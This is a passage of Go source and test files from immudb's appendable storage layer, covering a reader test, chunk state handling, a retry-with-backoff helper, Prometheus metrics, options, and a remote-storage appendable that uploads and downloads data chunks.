appendable import ( "encoding/binary" "errors" "testing" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/stretchr/testify/require" ) type mockedIOReaderAt struct { } func (w *mockedIOReaderAt) ReadAt(b []byte, off int64) (int, error) { return 0, errors.New("error") } func TestReader(t *testing.T) { a := &mocked.MockedAppendable{} r := NewReaderFrom(a, 0, 1024) require.NotNil(t, r) require.Zero(t, r.Offset()) require.Zero(t, r.ReadCount()) a.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, errors.New("error") } _, err := r.Read([]byte{0}) require.Error(t, err) a.ReadAtFn = func(bs []byte, off int64) (int, error) { bs[0] = 127 return 1, nil } b, err := r.ReadByte() require.NoError(t, err) require.Equal(t, byte(127), b) require.Equal(t, int64(1), r.ReadCount()) a.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint32(bs, 256) return 4, nil } n32, err := r.ReadUint32() require.NoError(t, err) require.Equal(t, uint32(256), n32) require.Equal(t, int64(5), r.ReadCount()) a.ReadAtFn = func(bs []byte, off int64) (int, error) { binary.BigEndian.PutUint64(bs, 1024) return 8, nil } n64, err := r.ReadUint64() require.NoError(t, err) require.Equal(t, uint64(1024), n64) require.Equal(t, int64(13), r.ReadCount()) r.Reset() require.Zero(t, r.Offset()) require.Zero(t, r.ReadCount()) } func TestMockedReader(t *testing.T) { mockedReaderAt := &mockedIOReaderAt{} r := NewReaderFrom(mockedReaderAt, 0, 1024) require.NotNil(t, r) _, err := r.ReadByte() require.Error(t, err) } ================================================ FILE: embedded/appendable/remoteapp/chunk_state.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import "fmt" type chunkState int const ( chunkState_Invalid chunkState = iota chunkState_Active chunkState_Local chunkState_Uploading chunkState_UploadError chunkState_Cleaning chunkState_Remote chunkState_Downloading chunkState_DownloadError ) var chunkStateNames = []string{ "Invalid", "Active", "Local", "Uploading", "UploadError", "Cleaning", "Remote", "Downloading", "DownloadError", } func (s chunkState) String() string { if s < 0 || int(s) >= len(chunkStateNames) { return fmt.Sprintf("chunkState(%d)", s) } return chunkStateNames[s] } ================================================ FILE: embedded/appendable/remoteapp/chunk_state_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "testing" "github.com/stretchr/testify/require" ) func TestChunkStateString(t *testing.T) { require.Equal(t, "Active", chunkState_Active.String()) require.Equal(t, "chunkState(101)", chunkState(101).String()) } ================================================ FILE: embedded/appendable/remoteapp/chunked_process.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "context" "math" "math/rand" "time" ) type chunkedProcess struct { ctx context.Context err error retryMinDelay time.Duration retryMaxDelay time.Duration retryDelayExp float64 retryJitter float64 } func (c *chunkedProcess) exponentialBackoff(retries int) time.Duration { return time.Duration( math.Min( float64(c.retryMinDelay)*math.Pow(c.retryDelayExp, float64(retries)), float64(c.retryMaxDelay), ) * (1.0 - rand.Float64()*c.retryJitter), ) } func (c *chunkedProcess) Step(block func() error) { if c.err != nil { return } c.err = block() } // RetryableStep executes given code block retrying it with an exponential backoff delay if needed // // If the process is already in an erroneous state, the block won't execute. // // If the `block` function returns an error, the operation won't be retried and that error // will be stored as the result of the process. Otherwise the value of `retryNeeded` // indicates whether the opration should be retried or not. // // If the context is cancelled when waiting for a retry, the operation won't be retried // and a corresponding error from the context will be stored as the result of the process func (c *chunkedProcess) RetryableStep( block func(retries int, delay time.Duration) (retryNeeded bool, err error), ) { if c.err != nil { return } for retries := 0; ; retries++ { delay := c.exponentialBackoff(retries) retryNeeded, err := block(retries, delay) if err != nil { c.err = err return } if !retryNeeded { return } // add delay before the next try timer := time.NewTimer(delay) select { case <-c.ctx.Done(): timer.Stop() c.err = c.ctx.Err() return case <-timer.C: } } } func (c *chunkedProcess) Err() error { return c.err } ================================================ FILE: embedded/appendable/remoteapp/chunked_process_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "context" "errors" "testing" "time" "github.com/stretchr/testify/require" ) func TestChunkedProcessRetryableStep(t *testing.T) { cp := chunkedProcess{ ctx: context.Background(), retryMinDelay: time.Millisecond, retryMaxDelay: 2 * time.Millisecond, retryDelayExp: 2, retryJitter: 0, } callCount := 0 cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { require.Equal(t, callCount, retries) require.True(t, delay >= time.Millisecond) require.True(t, delay <= 2*time.Millisecond) if callCount < 3 { callCount++ return true, nil } return false, nil }) require.NoError(t, cp.Err()) require.Equal(t, 3, callCount) } func TestChunkedProcessRetryableStepCancel(t *testing.T) { ctx, cancelFunc := context.WithCancel(context.Background()) cp := chunkedProcess{ ctx: ctx, retryMinDelay: time.Second, retryMaxDelay: 2 * time.Second, retryDelayExp: 2, retryJitter: 0, } go func() { time.Sleep(time.Millisecond) cancelFunc() }() cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { return true, nil }) require.Error(t, cp.ctx.Err()) require.Equal(t, cp.ctx.Err(), cp.Err()) require.True(t, errors.Is(cp.Err(), context.Canceled)) cp.Step(func() error { require.Fail(t, "Step should not be run") return nil }) } func TestChunkedProcessRetryableStepDeadline(t *testing.T) { ctx, cancelFunc := context.WithTimeout(context.Background(), time.Millisecond) defer cancelFunc() cp := chunkedProcess{ ctx: ctx, retryMinDelay: time.Second, retryMaxDelay: 2 * time.Second, retryDelayExp: 2, retryJitter: 0, } cp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) { return true, nil }) require.Error(t, cp.ctx.Err()) require.Equal(t, cp.ctx.Err(), cp.Err()) require.True(t, errors.Is(cp.Err(), context.DeadlineExceeded)) cp.Step(func() error { require.Fail(t, "Step should not be run") return nil }) } func TestChunkedProcessRetryableStepError(t *testing.T) { cp := chunkedProcess{ ctx: context.Background(), retryMinDelay: time.Second, retryMaxDelay: 2 * time.Second, retryDelayExp: 2, retryJitter: 0, } errToReturn := errors.New("Test error") cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { return true, errToReturn }) require.Equal(t, errToReturn, cp.Err()) cp.Step(func() error { require.Fail(t, "Step should not be run") return nil }) } func TestChunkedProcessNoRetryAfterError(t *testing.T) { cp := chunkedProcess{ ctx: context.Background(), } firstStepCalled := 0 secondStepCalled := 0 cp.Step(func() error { firstStepCalled++ return nil }) require.NoError(t, cp.Err()) cp.Step(func() error { secondStepCalled++ return errors.New("Stopping process") }) require.Error(t, cp.Err()) cp.Step(func() error { require.Fail(t, "This step should not be called") return nil }) cp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) { require.Fail(t, "This step should not be called") return false, nil }) require.Equal(t, 1, firstStepCalled) require.Equal(t, 1, secondStepCalled) } ================================================ FILE: embedded/appendable/remoteapp/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import "errors" var ( ErrIllegalArguments = errors.New("illegal arguments") ErrMissingRemoteChunk = errors.New("missing data on the remote storage") ErrInvalidLocalStorage = errors.New("invalid local storage") ErrInvalidRemoteStorage = errors.New("invalid remote storage") ErrInvalidChunkState = errors.New("invalid chunk state") ErrChunkUploaded = errors.New("already uploaded chunk is not writable") ErrCompressionNotSupported = errors.New("compression is currently not supported") ErrCantDownload = errors.New("can not download chunk") ErrCorruptedMetadata = errors.New("corrupted metadata in a remote chunk") ) ================================================ FILE: embedded/appendable/remoteapp/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ( // ---- Opening remote chunks --------------------------------------- metricsOpenTime = promauto.NewHistogram(prometheus.HistogramOpts{ Name: "immudb_remoteapp_open_time", Help: "Histogram of the total time required to open a chunk of data stored on an immudb remote storage", Buckets: []float64{.1, .25, .5, 1, 2.5, 5, 10, 25, 50}, }) metricsCorruptedMetadata = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_remoteapp_corrupted_metadata", Help: "Number of corrupted metadata detections in an immudb remote storage", }) // ---- Uncached reads --------------------------------------- metricsUncachedReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_remoteapp_uncached_read_events", Help: "Direct (uncached) read event counters for immudb remote storage", }, []string{"event"}) metricsUncachedReads = metricsUncachedReadEvents.WithLabelValues("total_reads") metricsUncachedReadErrors = metricsUncachedReadEvents.WithLabelValues("errors") metricsUncachedReadBytes = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_remoteapp_uncached_read_bytes", Help: "Direct (uncached) read byte counters for immudb remote storage", }) // ---- Reads --------------------------------------- metricsReadEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_remoteapp_read_events", Help: "Read event counters for immudb remote storage", }, []string{"event"}) metricsReads = metricsReadEvents.WithLabelValues("total_reads") metricsReadErrors = metricsReadEvents.WithLabelValues("errors") metricsReadBytes = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_remoteapp_read_bytes", Help: "Total number of bytes read from immudb remote storage (including cached reads)", }) // ---- Uploads --------------------------------------- metricsUploadEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_remoteapp_upload_events", Help: "Immudb remote storage upload event counters", }, []string{"event"}) metricsUploadStarted = metricsUploadEvents.WithLabelValues("started") metricsUploadFinished = metricsUploadEvents.WithLabelValues("finished") metricsUploadFailed = metricsUploadEvents.WithLabelValues("failed") metricsUploadCancelled = metricsUploadEvents.WithLabelValues("cancelled") metricsUploadRetried = metricsUploadEvents.WithLabelValues("retried") metricsUploadSucceeded = metricsUploadEvents.WithLabelValues("succeeded") metricsUploadTime = promauto.NewHistogram(prometheus.HistogramOpts{ Name: "immudb_remoteapp_upload_time", Help: "Histogram of the total time required to upload a chunk to the remote storage", Buckets: []float64{.1, .25, .5, 1, 2.5, 5, 10, 25, 50}, }) // ---- Downloads --------------------------------------- metricsDownloadEvents = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_remoteapp_download_events", Help: "Immudb remote storage download event counters", }, []string{"event"}) metricsDownloadStarted = metricsDownloadEvents.WithLabelValues("started") metricsDownloadFinished = metricsDownloadEvents.WithLabelValues("finished") metricsDownloadFailed = metricsDownloadEvents.WithLabelValues("failed") metricsDownloadCancelled = metricsDownloadEvents.WithLabelValues("cancelled") metricsDownloadRetried = metricsDownloadEvents.WithLabelValues("retried") metricsDownloadSucceeded = metricsDownloadEvents.WithLabelValues("succeeded") // ---- Chunk statistics -------------------------------- metricsChunkCounts = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_remoteapp_chunk_count", Help: "Number of chunks used for immudb remote storage", }, []string{"path", "state"}) metricsChunkDataBytes = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_remoteapp_chunk_bytes", Help: "Total number of bytes stored in chunks", }, []string{"path", "state"}) ) ================================================ FILE: embedded/appendable/remoteapp/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "time" "github.com/codenotary/immudb/embedded/appendable/multiapp" ) type Options struct { multiapp.Options parallelUploads int retryMinDelay time.Duration retryMaxDelay time.Duration retryDelayExp float64 retryDelayJitter float64 } func DefaultOptions() *Options { return &Options{ Options: *multiapp.DefaultOptions(), parallelUploads: 10, retryMinDelay: time.Second, retryMaxDelay: 2 * time.Minute, retryDelayExp: 2, retryDelayJitter: 0.1, } } func (opts *Options) Valid() bool { // TODO: implement signature `Validate() error`` // TODO: Compression is not supported ATM, this must be disabled return opts != nil && opts.Options.Validate() == nil && opts.parallelUploads > 0 && opts.parallelUploads < 100000 && opts.retryMinDelay > 0 && opts.retryMaxDelay > 0 && opts.retryDelayExp > 1 } func (opts *Options) WithParallelUploads(parallelUploads int) *Options { opts.parallelUploads = parallelUploads return opts } func (opts *Options) WithRetryMinDelay(retryMinDelay time.Duration) *Options { opts.retryMinDelay = retryMinDelay return opts } func (opts *Options) WithRetryMaxDelay(retryMaxDelay time.Duration) *Options { opts.retryMaxDelay = retryMaxDelay return opts } func (opts *Options) WithRetryDelayExp(retryDelayExp float64) *Options { opts.retryDelayExp = retryDelayExp return opts } func (opts *Options) WithRetryDelayJitter(retryDelayJitter float64) *Options { opts.retryDelayJitter = retryDelayJitter return opts } ================================================ FILE: embedded/appendable/remoteapp/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "testing" "time" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { require.False(t, (*Options)(nil).Valid()) require.False(t, (&Options{}).Valid()) } func TestDefaultOptions(t *testing.T) { require.True(t, DefaultOptions().Valid()) } func TestValidOptions(t *testing.T) { opts := DefaultOptions() require.Equal(t, 11, opts.WithParallelUploads(11).parallelUploads) require.Equal(t, 3*time.Second, opts.WithRetryMinDelay(3*time.Second).retryMinDelay) require.Equal(t, 7*time.Second, opts.WithRetryMaxDelay(7*time.Second).retryMaxDelay) require.Equal(t, 1.3, opts.WithRetryDelayExp(1.3).retryDelayExp) require.Equal(t, 0.2, opts.WithRetryDelayJitter(0.2).retryDelayJitter) require.True(t, opts.Valid()) } ================================================ FILE: embedded/appendable/remoteapp/remote_app.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remoteapp import ( "context" "errors" "fmt" "io" "io/ioutil" "log" "math" "os" "path" "path/filepath" "strconv" "strings" "sync" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/fileutils" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/prometheus/client_golang/prometheus" ) type chunkInfo struct { state chunkState storageSize int64 // Used storage size in bytes cancelUpload context.CancelFunc // Set to non-nil when the upload is in progress } type RemoteStorageAppendable struct { *multiapp.MultiFileAppendable rStorage remotestorage.Storage path string fileExt string fileMode os.FileMode remotePath string mutex sync.Mutex chunkInfos []chunkInfo // keys are are chunk IDs shutdownWaitGroup sync.WaitGroup retryMinDelay time.Duration retryMaxDelay time.Duration retryDelayExp float64 retryJitter float64 mainContext context.Context mainCancelFunc context.CancelFunc uploadThrottler chan struct{} chunkUploadFinished *sync.Cond chunkDownloadFinished *sync.Cond statsUpdaterWaitGroup sync.WaitGroup } func Open(path string, remotePath string, storage remotestorage.Storage, opts *Options) (*RemoteStorageAppendable, error) { if storage == nil || !opts.Valid() { return nil, ErrIllegalArguments } if remotePath != "" && !strings.HasSuffix(remotePath, "/") { return nil, ErrIllegalArguments } if strings.HasPrefix(remotePath, "/") { return nil, ErrIllegalArguments } if strings.Contains(remotePath, "//") { return nil, ErrIllegalArguments } log.Printf("Opening remote storage at %s", remotePath) mainContext, mainCancelFunc := context.WithCancel(context.Background()) ret := &RemoteStorageAppendable{ rStorage: storage, path: path, fileExt: opts.GetFileExt(), fileMode: opts.GetFileMode(), remotePath: remotePath, retryMinDelay: opts.retryMinDelay, retryMaxDelay: opts.retryMaxDelay, retryDelayExp: opts.retryDelayExp, retryJitter: opts.retryDelayJitter, mainContext: mainContext, mainCancelFunc: mainCancelFunc, uploadThrottler: make(chan struct{}, opts.parallelUploads), } ret.chunkUploadFinished = sync.NewCond(&ret.mutex) ret.chunkDownloadFinished = sync.NewCond(&ret.mutex) mApp, err := multiapp.OpenWithHooks(path, ret, &opts.Options) if err != nil { return nil, err } ret.MultiFileAppendable = mApp // Start uploading all chunks that are still stored locally ret.mutex.Lock() for chunkID, chunkInfo := range ret.chunkInfos { if chunkInfo.state == chunkState_Local { ret.uploadChunk(int64(chunkID), false) } } ret.mutex.Unlock() ret.startStatsUpdater() return ret, nil } func chunkIdFromName(filename string) (int64, error) { return strconv.ParseInt(strings.TrimSuffix(filename, filepath.Ext(filename)), 10, 64) } func (r *RemoteStorageAppendable) chunkedProcess(ctx context.Context) *chunkedProcess { return &chunkedProcess{ ctx: ctx, retryMinDelay: r.retryMinDelay, retryMaxDelay: r.retryMaxDelay, retryDelayExp: r.retryDelayExp, retryJitter: r.retryJitter, } } func (r *RemoteStorageAppendable) uploadFinished(chunkID int64, state chunkState) { r.mutex.Lock() defer r.mutex.Unlock() log.Printf("Uploading of chunk %d finished in state: %v", chunkID, state) r.chunkInfos[chunkID].state = state r.chunkInfos[chunkID].cancelUpload = nil r.chunkUploadFinished.Broadcast() } func (r *RemoteStorageAppendable) uploadChunk(chunkID int64, dontRemoveFile bool) { appName := r.appendableName(chunkID) fileName := filepath.Join(r.path, appName) r.shutdownWaitGroup.Add(1) ctx, cancelFunc := context.WithCancel(r.mainContext) r.chunkInfos[chunkID].state = chunkState_Uploading r.chunkInfos[chunkID].cancelUpload = cancelFunc // Ensure the we've got an up-to-date filesize in chunk info fi, err := os.Stat(fileName) if err == nil { r.chunkInfos[chunkID].storageSize = fi.Size() } go func() { defer r.shutdownWaitGroup.Done() // Throttle simultaneous uploads select { case <-ctx.Done(): r.uploadFinished(chunkID, chunkState_Local) return case r.uploadThrottler <- struct{}{}: } defer func() { <-r.uploadThrottler }() metricsUploadStarted.Inc() defer metricsUploadFinished.Inc() var newApp appendable.Appendable cp := r.chunkedProcess(ctx) // Chunk data was already flushed when changing the active appendable // Update size stats after flush cp.Step(func() error { fi, err := os.Stat(fileName) if err == nil { r.mutex.Lock() r.chunkInfos[chunkID].storageSize = fi.Size() r.mutex.Unlock() } return nil }) // Upload the chunk cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { defer prometheus.NewTimer(metricsUploadTime).ObserveDuration() err := r.rStorage.Put(ctx, r.remotePath+appName, fileName) if err == nil { return false, nil } metricsUploadRetried.Inc() return true, nil }) // Wait for the chunk to become ready cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { exists, err := r.rStorage.Exists(ctx, r.remotePath+appName) if err == nil && exists { return false, nil } metricsUploadRetried.Inc() return true, nil }) // Open new appendable from the remote storage cp.RetryableStep(func(retries int, delay time.Duration) (bool, error) { app, err := r.openRemoteAppendableReader(appName) if err == nil { newApp = app return false, nil } metricsUploadRetried.Inc() return true, nil }) // Replace the cached instance of appendable for the chunk cp.Step(func() error { oldApp, err := r.ReplaceCachedChunk(chunkID, newApp) // Couldn't replace the cache entry? Can't continue with the cleanup if err != nil && !errors.Is(err, cache.ErrKeyNotFound) { return err } if err == nil { err := oldApp.Close() if err != nil && !errors.Is(err, singleapp.ErrAlreadyClosed) { return err } } return nil }) // Cleanup the chunk cp.Step(func() error { if dontRemoveFile { return nil } r.mutex.Lock() r.chunkInfos[chunkID].state = chunkState_Cleaning r.chunkInfos[chunkID].cancelUpload = nil r.mutex.Unlock() err := os.Remove(path.Join(r.path, appName)) if err != nil { return nil } return fileutils.SyncDir(r.path) }) if ctx.Err() != nil { // Context has been cancelled log.Printf("Uploading chunk %d cancelled", chunkID) r.uploadFinished(chunkID, chunkState_Local) metricsUploadCancelled.Inc() return } if cp.Err() != nil { log.Printf("Uploading chunk %d failed: %v", chunkID, cp.Err()) r.uploadFinished(chunkID, chunkState_UploadError) metricsUploadFailed.Inc() return } // All done r.uploadFinished(chunkID, chunkState_Remote) metricsUploadSucceeded.Inc() }() } func (r *RemoteStorageAppendable) downloadFinished(chunkID int64, state chunkState) { r.mutex.Lock() defer r.mutex.Unlock() log.Printf("Downloading of chunk %d finished in state: %v", chunkID, state) r.chunkInfos[chunkID].state = state r.chunkInfos[chunkID].cancelUpload = nil r.chunkDownloadFinished.Broadcast() } func (r *RemoteStorageAppendable) downloadChunk(chunkID int64) { r.shutdownWaitGroup.Add(1) ctx, cancelFunc := context.WithCancel(r.mainContext) r.chunkInfos[chunkID].state = chunkState_Downloading r.chunkInfos[chunkID].cancelUpload = cancelFunc go func() { defer r.shutdownWaitGroup.Done() metricsDownloadStarted.Inc() defer metricsDownloadFinished.Inc() appName := r.appendableName(chunkID) fileName := filepath.Join(r.path, appName) // Downloading to a temporary file first, we can't risk // having corrupted (partially downloaded) file because // it would be prioritized over the remote data in case // of conflict fileNameTmp := fileName + ".tmp_download" defer func() { _ = os.Remove(fileNameTmp) }() var flTmp *os.File defer func() { flTmp.Close() }() cp := r.chunkedProcess(ctx) cp.RetryableStep(func(retries int, delay time.Duration) (retryNeeded bool, err error) { data, err := r.rStorage.Get(ctx, r.remotePath+r.appendableName(chunkID), 0, -1) if err != nil { metricsDownloadRetried.Inc() return true, nil } defer data.Close() flTmp, err = os.OpenFile(fileNameTmp, os.O_CREATE|os.O_RDWR, r.fileMode) if err != nil { // Couldn't create temporary local file, something is broken on local FS return false, err } _, err = io.Copy(flTmp, data) if err != nil { metricsDownloadRetried.Inc() return true, nil } return false, nil }) cp.Step(func() error { return flTmp.Sync() }) cp.Step(func() error { return flTmp.Close() }) cp.Step(func() error { err := os.Rename(fileNameTmp, fileName) if err != nil { return err } return fileutils.SyncDir(r.path) }) if ctx.Err() != nil { log.Printf("Downloading chunk %d cancelled", chunkID) metricsDownloadCancelled.Inc() r.downloadFinished(chunkID, chunkState_DownloadError) return } if cp.Err() != nil { log.Printf("Downloading chunk %d failed: %v", chunkID, cp.Err()) metricsDownloadFailed.Inc() r.downloadFinished(chunkID, chunkState_DownloadError) return } metricsDownloadSucceeded.Inc() r.downloadFinished(chunkID, chunkState_Local) }() } func (r *RemoteStorageAppendable) Close() error { err := r.MultiFileAppendable.Close() if err != nil { return err } // Upload as much as possible, // note that flushing is not needed here because // all chunks are already closed r.mutex.Lock() for chunkID, info := range r.chunkInfos { switch info.state { case chunkState_Active, chunkState_Local: r.uploadChunk(int64(chunkID), true) } } r.mutex.Unlock() r.shutdownWaitGroup.Wait() r.mainCancelFunc() r.statsUpdaterWaitGroup.Wait() return nil } func (r *RemoteStorageAppendable) OpenAppendable(options *singleapp.Options, appname string, activeChunk bool) (appendable.Appendable, error) { if options.GetCompressionFormat() != appendable.NoCompression { return nil, ErrCompressionNotSupported } r.mutex.Lock() defer r.mutex.Unlock() appID, err := chunkIdFromName(appname) if err != nil { return nil, err } if appID >= int64(len(r.chunkInfos)) { // Switching to a new appendable at the end, update the state for i := int64(len(r.chunkInfos)); i <= appID; i++ { // Ensure there's enough room for chunk info, // during initialization it will build info for every chunk, // during normal operations this appends one info only r.chunkInfos = append(r.chunkInfos, chunkInfo{}) } r.chunkInfos[appID].state = chunkState_Local } if activeChunk { // Deactivate previous active chunk (if present) // and schedule the upload for it for i := int64(0); i < appID; i++ { if r.chunkInfos[i].state == chunkState_Active { r.uploadChunk(int64(i), false) break } } // Deactivate and cancel uploads for all chunks that follow, for i := appID + 1; i < int64(len(r.chunkInfos)); i++ { switch r.chunkInfos[i].state { case chunkState_Uploading: r.chunkInfos[i].cancelUpload() case chunkState_Active: r.chunkInfos[i].state = chunkState_Local } } } for { switch r.chunkInfos[appID].state { case chunkState_Active, chunkState_Local, chunkState_UploadError: // File is stored locally. If there was an IO error during upload, // try to open a local file, there's a chance it is still partially readable if activeChunk { // Switch to the active chunk state if needed r.chunkInfos[appID].state = chunkState_Active } return singleapp.Open(filepath.Join(r.path, appname), options) case chunkState_Uploading: if !activeChunk { return singleapp.Open(filepath.Join(r.path, appname), options) } r.chunkInfos[appID].cancelUpload() r.chunkUploadFinished.Wait() continue case chunkState_Cleaning: r.chunkUploadFinished.Wait() // Removal operation can not be interrupted,wait for it to finish continue case chunkState_Remote: if activeChunk { // Force download of the chunk, we'll have to wait for it r.downloadChunk(appID) continue } return r.openRemoteAppendableReader(appname) case chunkState_Downloading: r.chunkDownloadFinished.Wait() continue case chunkState_DownloadError: // Even though the chunk couldn't be downloaded locally, // it's still available remotely and we should be able to read from it if activeChunk { return nil, ErrCantDownload } return r.openRemoteAppendableReader(appname) default: return nil, ErrInvalidChunkState } } } func (r *RemoteStorageAppendable) appendableName(appID int64) string { return fmt.Sprintf("%08d.%s", appID, r.fileExt) } func (r *RemoteStorageAppendable) OpenInitialAppendable(opts *multiapp.Options, singleAppOpts *singleapp.Options) (appendable.Appendable, int64, error) { chunkInfos := []chunkInfo{} // Scan local chunks fis, err := ioutil.ReadDir(r.path) if err != nil { return nil, 0, err } for _, fi := range fis { id, err := chunkIdFromName(fi.Name()) if err != nil { return nil, 0, err } // Sanity check if r.appendableName(id) != fi.Name() { return nil, 0, ErrInvalidLocalStorage } if id < 0 || id > int64(math.MaxInt) { return nil, 0, fmt.Errorf("chunk id %d out of range", id) } for len(chunkInfos) <= int(id) { chunkInfos = append(chunkInfos, chunkInfo{state: chunkState_Invalid}) } chunkInfos[id].state = chunkState_Local chunkInfos[id].storageSize = fi.Size() } // Scan remote chunks remoteEntries, _, err := r.rStorage.ListEntries(context.Background(), r.remotePath) if err != nil { return nil, 0, err } for _, entry := range remoteEntries { id, err := chunkIdFromName(entry.Name) if err != nil { return nil, 0, err } // Sanity check if r.appendableName(id) != entry.Name { return nil, 0, ErrInvalidRemoteStorage } if id < 0 || id > int64(math.MaxInt) { return nil, 0, fmt.Errorf("chunk id %d out of range", id) } for len(chunkInfos) <= int(id) { chunkInfos = append(chunkInfos, chunkInfo{state: chunkState_Invalid}) } if chunkInfos[id].state == chunkState_Local { if entry.Size > chunkInfos[id].storageSize { // Chunk size can only grow in size, // if the local file is smaller than the remote object, // there must have been some corruption of local file log.Printf("Chunk validation failed, remote chunk %d has more data than the local file", id) return nil, 0, ErrInvalidRemoteStorage } } else { chunkInfos[id].state = chunkState_Remote chunkInfos[id].storageSize = entry.Size } } // Ensure we have all chunks for id, info := range chunkInfos { if info.state == chunkState_Invalid { // Chunk was not found in neither local nor remote storage log.Printf("Chunk validation failed, missing chunk %d", id) return nil, 0, ErrMissingRemoteChunk } } r.chunkInfos = chunkInfos if len(chunkInfos) == 0 { // Opening new DB, the first chunk will be created chunkInfos = append(chunkInfos, chunkInfo{ state: chunkState_Local, storageSize: 0, }) } appID := int64(len(chunkInfos) - 1) app, err := r.OpenAppendable(singleAppOpts, r.appendableName(appID), true) if err != nil { return nil, 0, err } return app, appID, nil } func (r *RemoteStorageAppendable) openRemoteAppendableReader(name string) (appendable.Appendable, error) { return openRemoteStorageReader( r.rStorage, r.remotePath+name, ) } func (r *RemoteStorageAppendable) startStatsUpdater() { r.statsUpdaterWaitGroup.Add(1) go func() { defer r.statsUpdaterWaitGroup.Done() ticker := time.NewTicker(1 * time.Minute) defer ticker.Stop() for { select { case <-r.mainContext.Done(): return case <-ticker.C: } r.calculateChunkMetrics() } }() } func (r *RemoteStorageAppendable) calculateChunkMetrics() error { states := map[string]int64{} sizes := map[string]int64{} for _, state := range chunkStateNames { states[state] = 0 sizes[state] = 0 } _, currAppID := r.CurrApp() r.mutex.Lock() if r.chunkInfos[currAppID].state == chunkState_Active { // Sync current appendable stats appName := r.appendableName(currAppID) fileName := filepath.Join(r.path, appName) fi, err := os.Stat(fileName) if err == nil { 